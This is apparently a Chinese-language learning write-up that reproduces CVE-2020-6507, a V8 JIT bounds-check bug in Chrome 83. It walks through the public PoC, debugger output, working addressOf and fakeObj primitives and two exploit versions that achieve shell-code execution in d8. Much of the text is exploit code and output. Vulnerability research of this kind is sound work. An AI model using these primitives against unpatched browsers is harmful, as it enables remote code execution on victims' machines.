复现CVE-2020-6507
信息收集
在复习漏洞前,我们首先需要有一个信息收集的阶段:
- 可以从Chrome的官方更新公告得知某个版本的Chrome存在哪些漏洞。
- 从官方更新公告上可以得到漏洞的bug号,从而在官方的issue列表获取该bug相关信息,太新的可能会处于未公开状态。
- 可以在Google搜索
Chrome 版本号 "dl.google.com"
,比如chrome 90.0.4430.93 "dl.google.com"
,可以搜到一些网站有Chrome更新的新闻,在这些新闻中能获取该版本Chrome官方离线安装包。下载Chrome一定要从dl.google.com
网站上下载。
我第二个研究的是CVE-2020-6507
,可以从官方公告得知其chrome的bug编号为:1086890
可以很容易找到其相关信息:
受影响的Chrome最高版本为:83.0.4103.97
受影响的V8最高版本为:8.3.110.9
相关PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double = new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
function trigger(array) { var x = array.length; x -= 67108861; x = Math.max(x, 0); x *= 6; x -= 5; x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1]; let corrupted_array = [0.1];
corrupting_array[x] = length_as_double; return [corrupting_array, corrupted_array]; }
for (let i = 0; i < 30000; ++i) { trigger(giant_array); }
corrupted_array = trigger(giant_array)[1]; alert('corrupted array length: ' + corrupted_array.length.toString(16)); corrupted_array[0x123456];
|
搭建环境
一键编译相关环境:
套模版
暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。
研究PoC
运行一下PoC:
1 2 3 4 5 6 7
| $ cat poc.js ...... corrupted_array = trigger(giant_array)[1]; console.log('corrupted array length: ' + corrupted_array.length.toString(16)); # 最后一行删了,alert改成console.log $ ./d8 poc.js corrupted array length: 12121212
|
可以发现,改PoC的作用是把corrupted_array
数组的长度改为0x24242424/2 = 0x12121212
,那么后续如果我们的obj_array
和double_array
在这个长度的内存区域内,那么就可以写addressOf
和fakeObj
函数了。
来进行一波测试:
1 2 3 4 5 6 7 8 9
| $ cat test.js ...... corrupted_array = trigger(giant_array)[1]; var double_array = [1.1]; var obj = {"a" : 1}; var obj_array = [obj];
%DebugPrint(corrupted_array); %SystemBreak();
|
1 2 3 4 5 6 7 8 9 10
| DebugPrint: 0x9ce0878c139: [JSArray] - map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x09ce082091e1 <JSArray[0]>
Thread 1 "d8" received signal SIGSEGV, Segmentation fault. ...... pwndbg> x/32gx 0x9ce0878c139-1 0x9ce0878c138: 0x080406e908241891 0x2424242400000000 0x9ce0878c148: 0x00000004080404b1 0x0878c1390878c119 0x9ce0878c158: 0x080406e9082418e1 0x000000040878c149
|
调试的时候,发现程序crash了,不过我们仍然可以查看内存,发现该版本的v8,已经对地址进行了压缩,我们虽然把length位改成了0x24242424
,但是我们却也把elements
位改成了0x00000000
。在这个步骤的时候,我们没有泄漏过任何地址,有没有其他没办法构造一个elements
呢。
最后发现堆地址是从低32bit地址为0x00000000开始的,后续变量可能会根据环境的问题有所变动,那么前面的值是不是低32bit地址不会变呢?
改了改测试代码,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| $ cat test.js var double_array = [1.1]; var obj = {"a" : 1}; var obj_array = [obj];
var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f) { f64[0] = f; return bigUint64[0]; } function itof(i) { bigUint64[0] = i; return f64[0]; }
array = Array(0x40000).fill(1.1); ...... corrupted_array = trigger(giant_array)[1]; %DebugPrint(double_array); var a = corrupted_array[0]; console.log("a = 0x" + ftoi(a).toString(16));
|
结果为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| $ ./d8 --allow-natives-syntax test.js DebugPrint: 0x288c089017d5: [JSArray] in OldSpace - map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x288c082091e1 <JSArray[0]> - elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x288c080406e9 <FixedArray[0]> { #length: 0x288c08180165 <AccessorInfo> (const accessor descriptor) } - elements: 0x288c089046ed <FixedDoubleArray[1]> { 0: 1.1 } 0x288c08241891: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x288c08180451 <Cell value= 1> - instance descriptors #1: 0x288c08209869 <DescriptorArray[1]> - transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1: 0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x288c082091e1 <JSArray[0]> - constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)> - dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
a = 0x80406e908241891
|
成功泄漏出double_array
变量的map地址,再改改测试代码:
1 2 3 4 5 6 7 8 9 10 11
| $ cat test.js ...... length_as_double = new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0]; ...... %DebugPrint(double_array); %DebugPrint(obj_array); var array_map = corrupted_array[0]; var obj_map = corrupted_array[4]; console.log("array_map = 0x" + ftoi(array_map).toString(16)); console.log("obj_map = 0x" + ftoi(obj_map).toString(16));
|
再来看看结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $ ./d8 --allow-natives-syntax test.js DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace - map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x34f1082091e1 <JSArray[0]> - elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x34f1080406e9 <FixedArray[0]> { } - elements: 0x34f108904b95 <FixedDoubleArray[1]> { 0: 1.1 } ...... DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace - map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x34f1082091e1 <JSArray[0]> - elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x34f1080406e9 <FixedArray[0]> { } - elements: 0x34f108904b89 <FixedArray[1]> { 0: 0x34f108901c8d <Object map = 0x34f108244e79> } ...... array_map = 0x80406e908241891 obj_map = 0x80406e9082418e1
|
成功泄漏了map地址,不过该方法的缺点是,只要修改了js代码,堆布局就会发生一些变化,就需要修改elements
的值,所以需要先把所有代码写好,不准备变的时候,再来修改一下这个值。
不过也还有一些方法,比如堆喷,比如把elements
值设置的稍微小一点,然后在根据map的低20bit为0x891,来搜索map地址,不过这些方法本文不再深入研究,有兴趣的可以自行进行测试。
编写addressOf函数
现在我们能来编写addressOf函数了:
1 2 3 4 5 6 7 8
| function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; corrupted_array[4] = array_map; let obj_addr = ftoi(obj_array[0]) - 1n; corrupted_array[4] = obj_map; return obj_addr; }
|
编写fakeObj函数
接下来就是编写fakeObj
函数:
1 2 3 4 5 6 7 8
| function fakeObj(addr_to_fake) { double_array[0] = itof(addr_to_fake + 1n); corrupted_array[0] = obj_map; let faked_obj = double_array[0]; corrupted_array[0] = array_map; return faked_obj; }
|
修改偏移
改版本中,需要修改的偏移有:
1 2 3 4 5 6 7 8 9 10
| $ cat exp1.js function copy_shellcode_to_rwx(shellcode, rwx_addr) { ...... var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n; ...... } ...... fake_object_addr = fake_array_addr + 0x48n; ......
|
其他都模板中一样,最后运行exp1
:
1 2 3 4 5 6 7 8 9
| $ ./d8 --allow-natives-syntax exp1.js array_map = 0x80406e908241891 obj_map = 0x80406e9082418e1 [*] leak fake_array addr: 0x8040a3d5962db08 [*] leak wasm_instance addr: 0x8040a3d082116bc [*] leak rwx_page_addr: 0x28fd83851000 [*] buf_backing_store_addr: 0x9c0027c000000000 $ id uid=1000(ubuntu) gid=1000(ubuntu)
|
优化exp
前面内容通过套模板的方式,写出了exp1
,但是却有些许不足,因为elements
的值是根据我们本地环境测试出来的,即使在测试环境中,代码稍微变动,就需要修改,如果只是用来打CTF,我觉得这样就足够了。但是如果拿去实际的环境打,exp大概需要进行许多修改。
接下来,我将准备讲讲该漏洞原理,在理解其原理后,再来继续优化我们的exp。那为啥之前花这么长时间讲这个不太实用的exp?而不直接讲优化后的exp?因为我想表明,在只有PoC的情况下,也可以通过套模板,写出exp。
漏洞成因
漏洞成因这块我不打算花太多时间讲,因为我发现,V8更新的太快了,你花大量时间来分析这个版本的代码,分析这个漏洞的相关代码,但是换一个版本,会发现代码发生了改变,之前分析的已经过时了。所以我觉得起码在初学阶段,没必要深挖到最底层。
在bugs.chromium.org上已经很清楚了解释了该漏洞了。
NewFixedArray
和NewFixedDoubleArray
没有对数组的大小进行判断,来看看NewFixedDoubleArray
修复后的代码,多了一个判断:
1 2 3 4 5 6
| macro NewFixedDoubleArray<Iterator: type>( ...... if (length > kFixedDoubleArrayMaxLength) deferred { runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext); } ......
|
再去搜一搜源码,发现kFixedDoubleArrayMaxLength = 671088612
,说明一个浮点型的数组,最大长度为67108862
。
我们再来看看PoC:
1 2 3 4 5
| array = Array(0x40000).fill(1.1); args = Array(0x100 - 1).fill(array); args.push(Array(0x40000 - 4).fill(2.2)); giant_array = Array.prototype.concat.apply([], args); giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
|
我们来算算,array
的长度为0x40000
,args
的为0xff
个array
,然后args
还push了一个长度为0x3fffc
的数组。
通过Array.prototype.concat.apply
函数,把args
变量变成了长度为0x40000 * 0xff + 0x3fffc = 67108860
的变量giant_array
。
接着再使用splice
添加了3个值,该函数将会执行NewFixedDoubleArray
函数,从而生成了一个长度为67108860+3=67108863
的浮点型数组。
该长度已经超过了kFixedDoubleArrayMaxLength
的值,那么改漏洞要怎么利用呢?
来看看trigger
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function trigger(array) { var x = array.length; x -= 67108861; x = Math.max(x, 0); x *= 6; x -= 5; x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1]; let corrupted_array = [0.1];
corrupting_array[x] = length_as_double; return [corrupting_array, corrupted_array]; }
for (let i = 0; i < 30000; ++i) { trigger(giant_array); }
|
该函数传入的为giant_array
数组,其长度为67108863
,所以x = 67108863
,经过计算后,得到x = 7
,然后执行corrupting_array[x] = length_as_double;
,corrupting_array
原本以数组的形式储存浮点型,长度为2,但是给其index=7的位置赋值,将会把该变量的储存类型变为映射模式。
这么一看,好像并没有什么问题。但是V8有一个特性,会对执行的比较多的代码进行JIT优化,会删除一些冗余代码,加速代码的执行速度。
比如对trigger
函数进行优化,V8会认为x的最大长度为67108862
,那么x最后的计算结果最大值为1
,那么x最后的值不是0就是1,corrupting_array
的长度为2,不论对其0还是1赋值都是有效的。原本代码在执行corrupting_array[x]
执行的时候,会根据x的值对corrupting_array
边界进行检查,但是通过上述的分析,JIT认为这种边界检查是没有必要的,就把检查的代码给删除了。这样就直接对corrupting_array[x]
进行赋值,而实际的x值为7,这就造成了越界读写,而index=7这个位置,正好是corrupted_array
变量的elements
和length
位,所以PoC达到了之前分析的那种效果。
知道原理了,那么我们就能对该函数进行一波优化了,我最后的优化代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| length_as_double = new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0]; function trigger(array) { var x = array.length; x -= 67108861; x *= 10; x -= 9; let test1 = [0.1, 0.1]; let test2 = [test1]; let test3 = [0.1]; test1[x] = length_as_double; return [test1, test2, test3]; }
|
x
最后的值为11
,修改到了test3
的长度,但是并不会修改到elements
的值,因为中间有个test2
,导致产生了4字节的偏移,所以我们可以让我们只修改test3的长度而不影响到elements
。
根据上述思路,我们对PoC进行一波修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function trigger(array, oob) { var x = array.length; x -= 67108861; x *= 10; x -= 9; oob[x] = length_as_double; }
for (let i = 0; i < 30000; ++i) { vul = [1.1, 2.1]; pad = [vul]; double_array = [3.1]; obj = {"a": 2.1}; obj_array = [obj]; trigger(giant_array, vul); } %DebugPrint(double_array); %DebugPrint(obj_array);
var array_map = double_array[1]; var obj_map = double_array[8]; console.log("[*] array_map = 0x" + hex(ftoi(array_map))); console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));
|
接下来只要在exp1的基础上对addressOf
和fakeObj
进行一波微调,就能形成我们的exp2了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| $ cat exp2.js function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; double_array[8] = array_map; // 把obj数组的map地址改为浮点型数组的map地址 let obj_addr = ftoi(obj_array[0]) - 1n; double_array[8] = obj_map; // 把obj数组的map地址改回来,以便后续使用 return obj_addr; }
function fakeObj(addr_to_fake) { double_array[0] = itof(addr_to_fake + 1n); double_array[1] = obj_map; // 把浮点型数组的map地址改为对象数组的map地址 let faked_obj = double_array[0]; return faked_obj; } $ ./d8 exp2.js [*] array_map = 0x80406e908241891 [*] obj_map = 0x80406e9082418e1 [*] leak fake_array addr: 0x8241891591b0d88 [*] leak wasm_instance addr: 0x8241891082116f0 [*] leak rwx_page_addr: 0x3256ebaef000 [*] buf_backing_store_addr: 0x7d47f2d000000000 $ id uid=1000(ubuntu) gid=1000(ubuntu)
|